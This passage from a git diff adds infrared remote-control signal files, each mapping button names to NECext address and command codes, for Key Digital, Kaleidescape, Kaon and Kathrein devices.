84 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 09 00 00 00 +# +name: BRIGHTNESS +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 0A 00 00 00 +# +name: IN2 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 0D 00 00 00 +# +name: CONTRAST +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 0E 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 0F 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 10 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 10 00 00 00 +# +name: IN3 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 11 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 12 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 13 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 14 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 15 00 00 00 +# +name: ASPECT +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 16 00 00 00 +# +name: RESOLUTION +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 17 00 00 00 +# +name: PASS +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 18 00 00 00 +# +name: R1 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 18 00 00 00 +# +name: IN4 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 19 00 00 00 +# +name: IN1 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 1A 00 00 00 +# +name: RSRV +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 1B 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 1D 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 1E 00 00 00 +# +name: INPUT_SELECT +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/KEY DIGITAL/Video Switcher/27,-1.ir b/assets/resources/infrared/_CSV-IRDB_/KEY DIGITAL/Video Switcher/27,-1.ir new file mode 100644 index 000000000..cca508a51 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/KEY DIGITAL/Video Switcher/27,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: ENTER +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kaleidescape/DVD Player/69,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Kaleidescape/DVD Player/69,-1.ir new file mode 100644 index 000000000..f33a7f773 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kaleidescape/DVD Player/69,-1.ir @@ -0,0 +1,434 @@ +Filetype: IR signals file +Version: 1 +# +name: PAUSE_TOGGLE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 00 00 00 00 +# +name: DIGIT_1 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 01 00 00 00 +# +name: DIGIT_2 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 02 00 00 00 +# +name: DIGIT_3 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 03 00 00 00 +# +name: DIGIT_4 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 04 00 00 00 +# +name: DIGIT_5 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 05 00 00 00 +# +name: DIGIT_6 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 06 00 00 00 +# +name: DIGIT_7 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 07 00 00 00 +# +name: DIGIT_8 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 08 00 00 00 +# +name: DIGIT_9 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 09 00 00 00 +# +name: DIGIT_0 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 0A 00 00 00 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 12 00 00 00 +# +name: SCAN_FORWARD +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 13 00 00 00 +# +name: STOP_OR_CANCEL +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 14 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 15 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 16 00 00 00 +# +name: SCAN_REVERSE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 19 00 00 00 +# +name: DVD_TOP_MENU +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 20 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 21 00 00 00 +# +name: DVD_RESUME +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 22 00 00 00 +# +name: PAGE_UP_OR_PREVIOUS +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 23 00 00 00 +# +name: PAGE_DOWN_OR_NEXT +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 24 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 27 00 00 00 +# +name: NEXT_ANGLE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 29 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 2F 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 4D 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 51 00 00 00 +# +name: MUSIC_REPEAT_ON +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 60 00 00 00 +# +name: MUSIC_REPEAT_OFF +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 61 00 00 00 +# +name: MUSIC_REPEAT_TOGGLE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 62 00 00 00 +# +name: GO_MUSIC_LIST +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 63 00 00 00 +# +name: GO_ALBUM_COVERS +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 64 00 00 00 +# +name: GO_MUSIC_COLLECTIONS +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 65 00 00 00 +# +name: GO_NOW_PLAYING +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 66 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 80 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 81 00 00 00 +# +name: DVD_OR_KALEIDESCAPE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 84 00 00 00 +# +name: REPLAY +type: parsed +protocol: NECext +address: 45 00 00 00 +command: A0 00 00 00 +# +name: SHUFFLE_COVER_ART +type: parsed +protocol: NECext +address: 45 00 00 00 +command: A1 00 00 00 +# +name: SHOW_DETAILS +type: parsed +protocol: NECext +address: 45 00 00 00 +command: A2 00 00 00 +# +name: PARENTAL_SAFE_LVL +type: parsed +protocol: NECext +address: 45 00 00 00 +command: A4 00 00 00 +# +name: PARENTAL_DEFAULT_LVL +type: parsed +protocol: NECext +address: 45 00 00 00 +command: A5 00 00 00 +# +name: SET_FAV_SCENE_START +type: parsed +protocol: NECext +address: 45 00 00 00 +command: A6 00 00 00 +# +name: SET_FAV_SCENE_END +type: parsed +protocol: NECext +address: 45 00 00 00 +command: A7 00 00 00 +# +name: GO_MOVIE_COVER_ART +type: parsed +protocol: NECext +address: 45 00 00 00 +command: A8 00 00 00 +# +name: GO_MOVIE_LIST +type: parsed +protocol: NECext +address: 45 00 00 00 +command: A9 00 00 00 +# +name: GO_MOVIE_COLLECTIONS +type: parsed +protocol: NECext +address: 45 00 00 00 +command: AA 00 00 00 +# +name: GO_SYSTEM_STATUS +type: parsed +protocol: NECext +address: 45 00 00 00 +command: AB 00 00 00 +# +name: GO_PARENTAL_CONTROL +type: parsed +protocol: NECext +address: 45 00 00 00 +command: AC 00 00 00 +# +name: INTERMISSION_TOGGLE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: AD 00 00 00 +# +name: INTERMISSION_ON +type: parsed +protocol: NECext +address: 45 00 00 00 +command: AE 00 00 00 +# +name: INTERMISSION_OFF +type: parsed +protocol: NECext +address: 45 00 00 00 +command: AF 00 00 00 +# +name: GO_SCREEN_SAVER +type: parsed +protocol: NECext +address: 45 00 00 00 +command: B1 00 00 00 +# +name: STOP_SCREEN_SAVER +type: parsed +protocol: NECext +address: 45 00 00 00 +command: B2 00 00 00 +# +name: SHOW_DEMO +type: parsed +protocol: NECext +address: 45 00 00 00 +command: B3 00 00 00 +# +name: SHOW_DEMO_LOOP +type: parsed +protocol: NECext +address: 45 00 00 00 +command: B4 00 00 00 +# +name: PAUSE_ON +type: parsed +protocol: NECext +address: 45 00 00 00 +command: B5 00 00 00 +# +name: PAUSE_OFF +type: parsed +protocol: NECext +address: 45 00 00 00 +command: B6 00 00 00 +# +name: DISPLAY_OFF +type: parsed +protocol: NECext +address: 45 00 00 00 +command: B7 00 00 00 +# +name: K_MENU_ON +type: parsed +protocol: NECext +address: 45 00 00 00 +command: B8 00 00 00 +# +name: K_MENU_OFF +type: parsed +protocol: NECext +address: 45 00 00 00 +command: B9 00 00 00 +# +name: PAGE_UP +type: parsed +protocol: NECext +address: 45 00 00 00 +command: BA 00 00 00 +# +name: PAGE_DOWN +type: parsed +protocol: NECext +address: 45 00 00 00 +command: BB 00 00 00 +# +name: DISPLAY_TOGGLE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: BC 00 00 00 +# +name: MUSIC_RANDOM_ON +type: parsed +protocol: NECext +address: 45 00 00 00 +command: BD 00 00 00 +# +name: MUSIC_RANDOM_OFF +type: parsed +protocol: NECext +address: 45 00 00 00 +command: BE 00 00 00 +# +name: MUSIC_RANDOM_TOGGLE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: BF 00 00 00 +# +name: DVD_MENU +type: parsed +protocol: NECext +address: 45 00 00 00 +command: CB 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: DE 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 45 00 00 00 +command: F3 00 00 00 +# +name: POWER_STANDBY +type: parsed +protocol: NECext +address: 45 00 00 00 +command: F4 00 00 00 +# +name: K_MENU_TOGGLE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: F5 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kaleidescape/Distributed/69,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Kaleidescape/Distributed/69,-1.ir new file mode 100644 index 000000000..83ff9ba59 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kaleidescape/Distributed/69,-1.ir @@ -0,0 +1,374 @@ +Filetype: IR signals file +Version: 1 +# +name: PAUSE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 09 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 0A 00 00 00 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 12 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 13 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 14 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 15 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 16 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 19 00 00 00 +# +name: DVD_RESUME +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 20 00 00 00 +# +name: DVD_TOP_MENU +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 20 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 21 00 00 00 +# +name: PREVIOUS +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 23 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 24 00 00 00 +# +name: AUDIO_NEXT +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 27 00 00 00 +# +name: ANGLE_NEXT +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 29 00 00 00 +# +name: SUBTITLES_NEXT +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 2F 00 00 00 +# +name: ASPECT +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 40 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 4D 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 51 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 80 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 81 00 00 00 +# +name: DVD_MENU +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 84 00 00 00 +# +name: REPLAY +type: parsed +protocol: NECext +address: 45 00 00 00 +command: A0 00 00 00 +# +name: SHUFFLE_COVER_ART +type: parsed +protocol: NECext +address: 45 00 00 00 +command: A1 00 00 00 +# +name: DETAILS +type: parsed +protocol: NECext +address: 45 00 00 00 +command: A2 00 00 00 +# +name: SAFE_LEVEL +type: parsed +protocol: NECext +address: 45 00 00 00 +command: A4 00 00 00 +# +name: SET_FAV_SCENE_START +type: parsed +protocol: NECext +address: 45 00 00 00 +command: A6 00 00 00 +# +name: SET_FAV_SCENE_END +type: parsed +protocol: NECext +address: 45 00 00 00 +command: A7 00 00 00 +# +name: GO_COVER_ART +type: parsed +protocol: NECext +address: 45 00 00 00 +command: A8 00 00 00 +# +name: GO_MOVIE_LIST +type: parsed +protocol: NECext +address: 45 00 00 00 +command: A9 00 00 00 +# +name: GO_FAVORITES +type: parsed +protocol: NECext +address: 45 00 00 00 +command: AA 00 00 00 +# +name: GO_SYSTEM_STATUS +type: parsed +protocol: NECext +address: 45 00 00 00 +command: AB 00 00 00 +# +name: GO_PARENTAL_CTRL +type: parsed +protocol: NECext +address: 45 00 00 00 +command: AC 00 00 00 +# +name: INTERMISSION_TOGGLE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: AD 00 00 00 +# +name: INTERMISSION_ON +type: parsed +protocol: NECext +address: 45 00 00 00 +command: AE 00 00 00 +# +name: INTERMISSION_OFF +type: parsed +protocol: NECext +address: 45 00 00 00 +command: AF 00 00 00 +# +name: GO_SCREEN_SAVER +type: parsed +protocol: NECext +address: 45 00 00 00 +command: B1 00 00 00 +# +name: STOP_SCREEN_SAVER +type: parsed +protocol: NECext +address: 45 00 00 00 +command: B2 00 00 00 +# +name: GO_DEMO +type: parsed +protocol: NECext +address: 45 00 00 00 +command: B3 00 00 00 +# +name: GO_DEMO_LOOP +type: parsed +protocol: NECext +address: 45 00 00 00 +command: B4 00 00 00 +# +name: PAUSE_ON +type: parsed +protocol: NECext +address: 45 00 00 00 +command: B5 00 00 00 +# +name: PAUSE_OFF +type: parsed +protocol: NECext +address: 45 00 00 00 +command: B6 00 00 00 +# +name: DISPLAY_OFF +type: parsed +protocol: NECext +address: 45 00 00 00 +command: B7 00 00 00 +# +name: K_MENU_ON +type: parsed +protocol: NECext +address: 45 00 00 00 +command: B8 00 00 00 +# +name: K_MENU_OFF +type: parsed +protocol: NECext +address: 45 00 00 00 +command: B9 00 00 00 +# +name: PAGE_UP +type: parsed +protocol: NECext +address: 45 00 00 00 +command: BA 00 00 00 +# +name: PAGE_DOWN +type: parsed +protocol: NECext +address: 45 00 00 00 +command: BB 00 00 00 +# +name: DISPLAY_CYCLE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: BC 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 45 00 00 00 +command: CB 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: DE 00 00 00 +# +name: LEAVE_STANDBY +type: parsed +protocol: NECext +address: 45 00 00 00 +command: F3 00 00 00 +# +name: ENTER_STANDBY +type: parsed +protocol: NECext +address: 45 00 00 00 +command: F4 00 00 00 +# +name: K_MENU_TOGGLE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: F5 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kaon/Unknown_KSC-i260MCO/32,8.ir b/assets/resources/infrared/_CSV-IRDB_/Kaon/Unknown_KSC-i260MCO/32,8.ir new file mode 100644 index 000000000..5170b6b90 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kaon/Unknown_KSC-i260MCO/32,8.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 00 00 00 00 +# +name: PSIZE +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 03 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 04 00 00 00 +# +name: TV/RADIO +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 05 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 06 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 07 00 00 00 +# +name: TV/STB +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 08 00 00 00 +# +name: ACOUNT +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 09 00 00 00 +# +name: ALR +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 0A 00 00 00 +# +name: ALANG +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 0B 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 0C 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 0D 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 0E 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 10 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 11 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 12 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 13 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 14 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 15 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 16 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 18 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 19 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 1A 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 1B 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 1C 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 1D 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 1E 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 1F 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 40 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 41 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 42 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 43 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 44 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 45 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 46 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 47 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kaon/Unknown_KTF-100CO/32,8.ir b/assets/resources/infrared/_CSV-IRDB_/Kaon/Unknown_KTF-100CO/32,8.ir new file mode 100644 index 000000000..e8c372d42 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kaon/Unknown_KTF-100CO/32,8.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 00 00 00 00 +# +name: P.SIZE +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 03 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 04 00 00 00 +# +name: TV/RADIO +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 05 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 06 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 07 00 00 00 +# +name: TV/STB +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 08 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 10 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 11 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 12 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 13 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 14 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 15 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 16 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 18 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 19 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 1A 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 1B 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 1C 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 1D 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 1E 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 40 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 41 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 42 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 44 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 45 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 46 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 47 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kaon/Unknown_KTF-I2001CO/32,8.ir b/assets/resources/infrared/_CSV-IRDB_/Kaon/Unknown_KTF-I2001CO/32,8.ir new file mode 100644 index 000000000..ad694d318 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kaon/Unknown_KTF-I2001CO/32,8.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 00 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 03 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 04 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 05 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 06 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 07 00 00 00 +# +name: TvStb +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 08 00 00 00 +# +name: VFormat +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 09 00 00 00 +# +name: Alr +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 0A 00 00 00 +# +name: ALanguage +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 0B 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 0C 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 0D 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 0E 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 10 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 11 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 12 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 13 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 14 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 15 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 16 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 18 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 19 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 1A 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 1B 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 1C 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 1D 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 1E 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 40 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 41 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 42 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 44 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 45 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 46 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 47 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kathrein/DVBS-Receiver/34,144.ir b/assets/resources/infrared/_CSV-IRDB_/Kathrein/DVBS-Receiver/34,144.ir new file mode 100644 index 000000000..ccde71373 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kathrein/DVBS-Receiver/34,144.ir @@ -0,0 +1,446 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext 